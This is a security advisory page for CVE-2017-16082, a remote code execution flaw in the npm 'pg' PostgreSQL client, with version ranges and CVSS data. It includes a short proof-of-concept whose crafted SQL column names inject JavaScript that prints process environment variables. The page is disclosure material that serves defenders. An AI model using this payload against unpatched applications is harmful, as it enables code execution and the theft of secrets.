Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1

Remote Code Execution in pg

Affected versions of pg contain a remote code execution vulnerability that occurs when the remote database or query specifies a crafted column name.

There are two specific scenarios in which it is likely for an application to be vulnerable:

  1. The application executes unsafe, user-supplied sql which contains malicious column names.
  2. The application connects to an untrusted database and executes a query returning results which contain a malicious column name.

Proof of Concept

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`

client.query(sql, (err, res) => {
  client.end()
})

Recommendation

Permalink: https://github.com/advisories/GHSA-wc9v-mj63-m9g5
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXdjOXYtbWo2My1tOWc1
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: almost 6 years ago
Updated: 8 months ago


CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-wc9v-mj63-m9g5, CVE-2017-16082
References: Blast Radius: 53.3

Affected Packages

npm:pg
Dependent packages: 8,927
Dependent repositories: 273,357
Downloads: 21,684,248 last month
Affected Version Ranges: >= 7.1.0, < 7.1.2, >= 7.0.0, < 7.0.2, >= 6.4.0, < 6.4.2, >= 6.3.0, < 6.3.3, >= 6.2.0, < 6.2.5, >= 6.1.0, < 6.1.6, >= 6.0.0, < 6.0.5, >= 5.0.0, < 5.2.1, >= 4.0.0, < 4.5.7, >= 3.0.0, < 3.6.4, < 2.11.2
Fixed in: 7.1.2, 7.0.2, 6.4.2, 6.3.3, 6.2.5, 6.1.6, 6.0.5, 5.2.1, 4.5.7, 3.6.4, 2.11.2
All affected versions: 0.4.1, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.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